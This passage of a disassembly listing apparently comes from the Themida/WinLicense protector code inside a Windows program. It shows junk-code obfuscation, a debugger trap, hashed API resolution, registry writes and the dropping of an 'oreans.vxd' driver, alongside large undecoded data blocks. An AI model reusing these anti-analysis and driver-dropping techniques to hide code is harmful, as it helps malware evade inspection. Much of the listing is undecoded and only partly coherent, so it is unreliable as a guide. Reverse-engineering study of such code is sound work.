0D0FF378Bh, 0E5DBD89h, 0F4007FAh dd 30C85h, 6E900h, 0D1BA0000h, 0C44CCD5Dh, 75BD2B58h, 5007FA16h dd 91436FBFh, 24048950h, 0F70CBE66h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 9F5D9BC3h dd 7948B13Ah, 6890F71h, 8B000000h, 0FA01158Dh, 0CF816007h dd 7BF52915h, 978BBA66h, 53A16861h, 8B0F8823h, 12h, 0DE9h dd 1EAAA700h, 6F6E89A9h, 4E084197h, 481F36Ch, 0DCACDF24h dd 52006A77h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 6AA4C188h, 0C5061785h, 2EBFBDC4h, 6A74919Ah dd 8BD18B03h, 0FA2DF995h, 0F006A07h, 684h, 0B58D2300h dd 6A07FA2Ah, 8E903h, 9D450000h, 38B54071h, 4E8F9B4h, 0 dd 8BC00000h, 8B6650F9h, 24448BF0h, 3BBF6604h, 50008B31h dd 0FD58A52h, 5FEBBA31h, 585A3C57h, 4244489h, 66525051h dd 0FBBEEB9h, 5A5F5731h, 8D585F58h, 0FCD51E9Dh, 61952B07h dd 5007FA0Fh, 1C89F6B1h, 14E824h, 4610000h, 0A8404E54h dd 0E45FB6C5h, 9624793h, 8029B6C7h, 830FC824h, 6, 1C59BD33h dd 0FF5907FAh, 0FE8D0h, 0F00A0000h, 92C12E0Bh, 0C58E9AA1h dd 25CE921Ch, 0BF0F609Eh, 6EEE80F8h, 0F405F61h, 1A485h dd 258D8900h, 8B07FA0Dh, 0FA316DB5h, 6A5807h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 896012C3h dd 0FA0585BDh, 8D2B6107h, 7FA20E9h, 118E0F50h, 0E8000000h dd 5, 0F38CF1AFh, 0F5250D0h, 59585A31h, 0F240489h, 883h dd 8A0F5100h, 0 ; --------------------------------------------------------------------------- pop esi push 0 push 0 push ebx call sub_5B0DF6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0DF6 proc near ; CODE XREF: Themida_:005B0DEEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5B0DF6 endp ; --------------------------------------------------------------------------- fiadd word ptr [eax] mov al, 46h daa xor dl, 60h mov di, 0C094h push 1A19A739h jmp loc_5B0E2D ; --------------------------------------------------------------------------- sbb [edi+47h], esi push ss scasd db 67h xchg eax, ebx clc mov edi, 6ABEDBD0h cmpsd int 3 ; Trap to Debugger jo short loc_5B0E58 loc_5B0E2D: ; CODE XREF: Themida_:005B0E17j xor dword ptr [esp], 1A19A7B9h call sub_5B0E44 popf db 64h out dx, eax call far ptr 1FF8h:0F334AB4Ch sahf ; =============== S U B R O U T I N E ======================================= sub_5B0E44 proc near ; CODE XREF: Themida_:005B0E34p var_754BCD00 = dword ptr -754BCD00h var_C = dword ptr -0Ch adc edi, 6D8ABA23h pop ecx push 3 clc push 0 movzx ecx, di push 3 pusha pusha push eax loc_5B0E58: ; CODE XREF: Themida_:005B0E2Bj pop ecx mov [ebp+7FA1539h], edx popa popa push 0A3D32E58h add [esp+0Ch+var_C], 1C2CD1A8h call near ptr loc_5B0E84+2 jno short near ptr loc_5B0E74+2 loc_5B0E74: ; CODE XREF: sub_5B0E44+2Ej sub [esp+esi*2+0Ch+var_754BCD00+1], edx mov ecx, 84FDE05Bh xchg eax, edx cmpsb adc al, 99h loc_5B0E84: ; CODE XREF: sub_5B0E44+29p test eax, 5ED08BA2h sub_5B0E44 endp ; sp-analysis failed lea ebx, [ebp+7FCD529h] xor edx, 1116D8E2h mov [ebp+7FA168Dh], eax push eax mov edi, ecx mov [esp], ebx mov edx, 12100B35h mov [ebp+7FA2781h], edx call eax push 0 push ebx call sub_5B0EB9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0EB9 proc near ; CODE XREF: Themida_:005B0EB1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5B0EB9 endp ; --------------------------------------------------------------------------- db 0B6h, 0E6h, 0DFh dd 378D19A2h, 0BE8A2F2h, 0 ; --------------------------------------------------------------------------- cmp [ecx+3Ch], bl cmp dh, [eax] mov es, word ptr [ebx] sbb [ebx+ebx+7E9h], ecx add ch, ah test [edx-1CD6941Ah], bh pop edx inc eax jnz loc_5B0F2D push 0 push ebp call sub_5B0F01 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0F01 proc near ; CODE XREF: Themida_:005B0EF9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5B0F01 endp ; --------------------------------------------------------------------------- db 0CDh, 0A8h, 28h ; --------------------------------------------------------------------------- stosd sal cl, 0FFh retf ; --------------------------------------------------------------------------- xor eax, 0D58D310Fh sbb al, 0FAh pop es pop eax jmp loc_5B1045 ; --------------------------------------------------------------------------- mov edx, [ebp+7FA328Dh] loc_5B0F2D: ; CODE XREF: Themida_:005B0EF0j mov ebx, eax movsx ecx, dx dec ebx mov [ebp+7FA02FDh], edx pop eax mov esi, ebx mov byte ptr [ebp+7FA0665h], 43h push 0 push ebx call sub_5B0F4E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0F4E proc near ; CODE XREF: Themida_:005B0F46p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B0F4E endp ; --------------------------------------------------------------------------- cmc push esi mov ah, 31h xchg eax, ebp jns short near ptr loc_5B0F86+2 cli pop es jno loc_5B0F81 jmp loc_5B0F81 ; --------------------------------------------------------------------------- dw 5CA6h dd 3C0F106Dh, 51D5F790h, 157C1134h ; --------------------------------------------------------------------------- push ds loc_5B0F81: ; CODE XREF: Themida_:005B0F67j ; Themida_:005B0F6Dj push 59B8DC90h loc_5B0F86: ; CODE XREF: Themida_:005B0F63j mov di, dx add dword ptr [esp], 66BD6E17h clc push dword ptr [ebp+7FA08A5h] mov edi, [ebp+7FA0EF1h] lea eax, [ebp+7FA3AE2h] push 0 push edx call sub_5B0FAE and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0FAE proc near ; CODE XREF: Themida_:005B0FA6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5B0FAE endp ; --------------------------------------------------------------------------- push esi test [ebp-72h], bh db 66h mov cl, 0DCh nop push edi xchg eax, ebx jmp loc_5B0FD2 ; --------------------------------------------------------------------------- db 0A8h, 0B5h, 90h db 0D6h, 0E8h ; --------------------------------------------------------------------------- loc_5B0FD2: ; CODE XREF: Themida_:005B0FC8j call eax or [ebp+7FA2569h], ecx push eax pusha jns $+6 mov eax, 299A147Dh popa mov [esp], ebx mov cx, di call eax mov edx, [ebp+7FA0CADh] ja loc_5B1014 call sub_5B100D aaa cld xor dh, [ebx+68h] daa sub eax, 1BEE5FE0h setalc ; =============== S U B R O U T I N E ======================================= sub_5B100D proc near ; CODE XREF: Themida_:005B0FFCp jge $+6 pop edi loc_5B1014: ; CODE XREF: Themida_:005B0FF6j lea ebx, [ebp+7FA72FBh] or [ebp+7FA2C95h], ecx mov eax, 1 push 0 push edx call sub_5B1030 and [edx-3Dh], bl sub_5B100D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B1030 proc near ; CODE XREF: sub_5B100D+1Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B1030 endp ; --------------------------------------------------------------------------- dd 0FFE2C454h db 0E3h ; --------------------------------------------------------------------------- loc_5B1045: ; CODE XREF: Themida_:005B0F22j mov eax, ecx mov eax, eax push 0 push ebp call sub_5B1054 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1054 proc near ; CODE XREF: Themida_:005B104Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5B1054 endp ; --------------------------------------------------------------------------- adc bl, [ecx+ebx+37h] ficomp word ptr [ecx] jnz loc_5B1080 jmp loc_5B1080 ; --------------------------------------------------------------------------- db 3Fh, 10h, 81h dd 0B9E6F874h, 87FB7C8Fh ; --------------------------------------------------------------------------- loc_5B1080: ; CODE XREF: Themida_:005B106Aj ; Themida_:005B1070j cmp dword ptr [ebp+7FA2ACDh], 0 jnz short loc_5B1092 cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5B10AB loc_5B1092: ; CODE XREF: Themida_:005B1087j push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+7FA1581h], eax lea ebx, [ebp+7FCE28Bh] call ebx ; _iob pop ebx pop eax loc_5B10AB: ; CODE XREF: Themida_:005B1090j cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5B10CB push eax push ebx mov eax, 40Fh mov [ebp+7FA1581h], eax lea ebx, [ebp+7FCDF2Ch] call ebx ; _iob pop ebx pop eax loc_5B10CB: ; CODE XREF: Themida_:005B10B2j mov [ebp+7FA0E19h], esi mov ecx, [ebp+7FA0E29h] jmp loc_5B10E7 ; --------------------------------------------------------------------------- dd 0A04AF3Dh, 849E815Ah db 85h, 81h, 97h ; --------------------------------------------------------------------------- loc_5B10E7: ; CODE XREF: Themida_:005B10D7j mov eax, eax jmp loc_5B1198 ; --------------------------------------------------------------------------- aSoftwareWinlic db 'Software\WinLicense',0 aCheckin db 'CheckIN',0 aXprotexit db 'XprotExit',0 aCheckout db 'CheckOUT',0 aWinlicensevers db 'WinLicenseVersion',0 aWinlicensedriv db 'WinLicenseDriverVersion',0 aWinlicenseinst db 'WinLicenseInstance',0 aExitok db 'ExitOk',0 aProcin db 'ProcIN',0 aProcout db 'ProcOUT',0 aExitin db 'ExitIN',0 aExitout db 'ExitOUT',0 aTpin db 'TpIN',0 align 10h dd 77DEB908h, 77DFD5BBh ; --------------------------------------------------------------------------- loc_5B1198: ; CODE XREF: Themida_:005B10E9j jmp loc_5B1733 ; --------------------------------------------------------------------------- mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 19h push dword ptr [ebp+7FCDD47h] push 1 push 0 lea eax, [ebp+7FCDCDCh] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] retn ; --------------------------------------------------------------------------- mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDD06h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] retn ; --------------------------------------------------------------------------- mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDCEEh] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] retn ; --------------------------------------------------------------------------- mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDD19h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] retn ; --------------------------------------------------------------------------- mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDCC9h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7FA17D1h], 0 jz locret_5B136C mov ebx, [ebp+7FA17D1h] add ebx, 4Ch mov [ebx], eax locret_5B136C: ; CODE XREF: Themida_:005B135Bj retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7FA17D1h], 0 jz locret_5B1385 mov ebx, [ebp+7FA17D1h] add ebx, 50h mov [ebx], eax locret_5B1385: ; CODE XREF: Themida_:005B1374j retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7FA17D1h], 0 jz locret_5B139E mov ebx, [ebp+7FA17D1h] add ebx, 54h mov [ebx], eax locret_5B139E: ; CODE XREF: Themida_:005B138Dj retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7FA17D1h], 0 jz locret_5B13B7 mov ebx, [ebp+7FA17D1h] add ebx, 58h mov [ebx], eax locret_5B13B7: ; CODE XREF: Themida_:005B13A6j retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7FA17D1h], 0 jz locret_5B13D0 mov ebx, [ebp+7FA17D1h] add ebx, 5Ch mov [ebx], eax locret_5B13D0: ; CODE XREF: Themida_:005B13BFj retn ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pusha mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDD3Eh] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] cmp dword ptr [ebp+7FA2ACDh], 0 jz loc_5B142B push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] loc_5B142B: ; CODE XREF: Themida_:005B1419j push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDD20h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] cmp dword ptr [ebp+7FA2ACDh], 0 jz loc_5B1492 push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] loc_5B1492: ; CODE XREF: Themida_:005B1480j push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDD27h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] cmp dword ptr [ebp+7FA2ACDh], 0 jz loc_5B14F9 push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] loc_5B14F9: ; CODE XREF: Themida_:005B14E7j push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDD2Fh] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] cmp dword ptr [ebp+7FA2ACDh], 0 jz loc_5B1560 push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] loc_5B1560: ; CODE XREF: Themida_:005B154Ej push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDD36h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] cmp dword ptr [ebp+7FA2ACDh], 0 jz loc_5B15C7 push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] loc_5B15C7: ; CODE XREF: Themida_:005B15B5j push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] popa retn ; --------------------------------------------------------------------------- pusha mov dword ptr [ebp+7FCDD47h], 1 lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000002h call dword ptr [ebp+7FCDD53h] or eax, eax jz loc_5B1610 mov dword ptr [ebp+7FCDD47h], 0 jmp loc_5B165D ; --------------------------------------------------------------------------- loc_5B1610: ; CODE XREF: Themida_:005B15FBj push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDCC1h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] or eax, eax jz loc_5B1647 mov dword ptr [ebp+7FCDD47h], 0 jmp loc_5B1651 ; --------------------------------------------------------------------------- loc_5B1647: ; CODE XREF: Themida_:005B1632j mov dword ptr [ebp+7FCDD47h], 1 loc_5B1651: ; CODE XREF: Themida_:005B1642j push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] loc_5B165D: ; CODE XREF: Themida_:005B160Bj popa mov eax, [ebp+7FCDD47h] retn ; --------------------------------------------------------------------------- pusha mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDCC1h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] cmp dword ptr [ebp+7FA2ACDh], 0 jz loc_5B16BE push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] loc_5B16BE: ; CODE XREF: Themida_:005B16ACj push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+7FCDD47h], eax lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] push 4 lea eax, [ebp+7FCDD47h] push eax push 4 push 0 lea eax, [ebp+7FCDCD3h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2029h] cmp dword ptr [ebp+7FA2ACDh], 0 jz loc_5B1725 push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FCDD4Fh] loc_5B1725: ; CODE XREF: Themida_:005B1713j push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] popa retn ; --------------------------------------------------------------------------- loc_5B1733: ; CODE XREF: Themida_:loc_5B1198j mov byte ptr [ebp+7FA0665h], 52h push 0ADE47B07h push dword ptr [ebp+7FA0AF5h] call dword ptr [ebp+7FA2539h] mov [ebp+7FCDD53h], eax mov byte ptr [ebp+7FA0665h], 52h push 902E00E5h push dword ptr [ebp+7FA0AF5h] call dword ptr [ebp+7FA2539h] mov [ebp+7FCDD4Fh], eax mov byte ptr [ebp+7FA0665h], 52h push 0B9BF1235h push dword ptr [ebp+7FA0AF5h] call dword ptr [ebp+7FA2539h] mov [ebp+7FA2029h], eax mov byte ptr [ebp+7FA0665h], 52h push 98781034h push dword ptr [ebp+7FA0AF5h] call dword ptr [ebp+7FA2539h] mov [ebp+7FA2341h], eax mov byte ptr [ebp+7FA0665h], 52h push 0C005DBD4h push dword ptr [ebp+7FA0AF5h] call dword ptr [ebp+7FA2539h] mov [ebp+7FA1F0Dh], eax jmp loc_5B19DC ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 align 4 dd 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5B19DC: ; CODE XREF: Themida_:005B17C9j jmp loc_5B1AD0 ; --------------------------------------------------------------------------- mov byte ptr [ebp+7FA0665h], 47h push 0E3E45B86h push dword ptr [ebp+7FA08A5h] lea eax, [ebp+7FA3AE2h] call eax push 104h lea ebx, [ebp+7FA2FADh] push ebx call eax push eax lea esi, [ebp+7FCE585h] mov edi, esi xor al, al loc_5B1A14: ; CODE XREF: Themida_:005B1A15j scasb jnz loc_5B1A14 sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+7FA0665h], 43h push 0BC8E6EFCh push dword ptr [ebp+7FA08A5h] lea eax, [ebp+7FA3AE2h] call eax lea esi, [ebp+7FA2FADh] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+7FA0665h], 57h push 0A69BEE56h push dword ptr [ebp+7FA08A5h] lea eax, [ebp+7FA3AE2h] call eax lea edi, [ebp+7FA25D9h] lea ecx, [ebp+7FCE6ABh] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_5B1AB2 lea esi, [ebp+7FCE38Dh] lea eax, [ebp+7FCD38Ah] call eax lea ecx, [ebp+7FA72FBh] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_5B1AB2: ; CODE XREF: Themida_:005B1A91j mov byte ptr [ebp+7FA0665h], 43h push 0C0764AA7h push dword ptr [ebp+7FA08A5h] lea eax, [ebp+7FA3AE2h] call eax push ebx call eax retn ; --------------------------------------------------------------------------- loc_5B1AD0: ; CODE XREF: Themida_:loc_5B19DCj mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_5B1AE7 ; --------------------------------------------------------------------------- mov eax, ebx loc_5B1AE7: ; CODE XREF: Themida_:005B1AE0j jmp loc_5B52BC ; --------------------------------------------------------------------------- dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 360h dup(0) dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 10h a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 10h dd 9C3h dup(0) ; --------------------------------------------------------------------------- sub eax, 1Bh cmp eax, 9 jnb short loc_5B525B jmp dword ptr ds:0[eax*4] ; --------------------------------------------------------------------------- loc_5B525B: ; CODE XREF: Themida_:005B5252j clc retn ; --------------------------------------------------------------------------- align 10h dd 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h ; --------------------------------------------------------------------------- loc_5B52BC: ; CODE XREF: Themida_:loc_5B1AE7j jmp loc_5B535A ; --------------------------------------------------------------------------- db 2Fh, 62h, 75h aGcheck2 db 'gcheck2',0 aBugcheck db '/bugcheck',0 aForcerun db '/forcerun',0 aBugcheckfull db '/bugcheckfull',0 aShowcode db '/showcode',0 aShowcode2 db '/showcode2',0 aClrt db '/clrt',0 aDis1 db '/dis1',0 aShowinstance db '/showinstance',0 aGetwlstatus db '/getwlstatus',0 aLogstatus db '/logstatus',0 aDumpstatus db '/dumpstatus',0 align 4 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B535A: ; CODE XREF: Themida_:loc_5B52BCj cmp dword ptr [ebp+7FD1F00h], 0 jz loc_5B5371 mov dword ptr [ebp+7FA1899h], 1 loc_5B5371: ; CODE XREF: Themida_:005B5361j mov byte ptr [ebp+7FA0665h], 47h call sub_5B5381 lea ebp, [ebp+ebp*2-70h] ; =============== S U B R O U T I N E ======================================= sub_5B5381 proc near ; CODE XREF: Themida_:005B5378p ; FUNCTION CHUNK AT 005B56D3 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005B573C SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005B5761 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005B5798 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005B687D SIZE 0000008B BYTES push eax mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+7FA08A5h] lea eax, [ebp+7FA3AE2h] call eax call eax mov edi, eax cmp byte ptr [edi], 22h jnz loc_5B53CA inc edi mov al, 22h loc_5B53AB: ; CODE XREF: sub_5B5381+2Bj scasb jnz loc_5B53AB cmp byte ptr [edi], 0 jz loc_5B56D3 inc edi cmp byte ptr [edi], 0 jz loc_5B56D3 jmp loc_5B53E8 ; --------------------------------------------------------------------------- loc_5B53CA: ; CODE XREF: sub_5B5381+21j ; sub_5B5381+62j cmp byte ptr [edi], 0 jz loc_5B56D3 cmp byte ptr [edi], 20h jnz loc_5B53E2 inc edi jmp loc_5B53E8 ; --------------------------------------------------------------------------- loc_5B53E2: ; CODE XREF: sub_5B5381+55j inc edi jmp loc_5B53CA ; --------------------------------------------------------------------------- loc_5B53E8: ; CODE XREF: sub_5B5381+44j ; sub_5B5381+5Cj ... cmp byte ptr [edi], 0 jnz loc_5B53F6 jmp loc_5B56D3 ; --------------------------------------------------------------------------- loc_5B53F6: ; CODE XREF: sub_5B5381+6Aj jmp loc_5B53FC ; --------------------------------------------------------------------------- loc_5B53FB: ; CODE XREF: sub_5B5381+7Ej inc edi loc_5B53FC: ; CODE XREF: sub_5B5381:loc_5B53F6j cmp byte ptr [edi], 20h jz loc_5B53FB cmp byte ptr [edi], 0 jnz loc_5B5413 jmp loc_5B56D3 ; --------------------------------------------------------------------------- loc_5B5413: ; CODE XREF: sub_5B5381+87j call sub_5B5422 jmp loc_5B53E8 sub_5B5381 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_5B56D3 ; =============== S U B R O U T I N E ======================================= sub_5B5422 proc near ; CODE XREF: sub_5B5381:loc_5B5413p lea esi, [ebp+7FD1E80h] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B544B mov dword ptr [ebp+7FA2ACDh], 1 retn ; --------------------------------------------------------------------------- loc_5B544B: ; CODE XREF: sub_5B5422+18j lea esi, [ebp+7FD1E8Bh] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B5474 mov dword ptr [ebp+7FA1899h], 1 retn ; --------------------------------------------------------------------------- loc_5B5474: ; CODE XREF: sub_5B5422+41j lea esi, [ebp+7FD1F04h] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B549D mov dword ptr [ebp+7FA18D9h], 1 retn ; --------------------------------------------------------------------------- loc_5B549D: ; CODE XREF: sub_5B5422+6Aj lea esi, [ebp+7FD1E95h] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B54C6 mov dword ptr [ebp+7FA1899h], 1 retn ; --------------------------------------------------------------------------- loc_5B54C6: ; CODE XREF: sub_5B5422+93j lea esi, [ebp+7FD1E9Fh] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B54F9 mov dword ptr [ebp+7FA1899h], 1 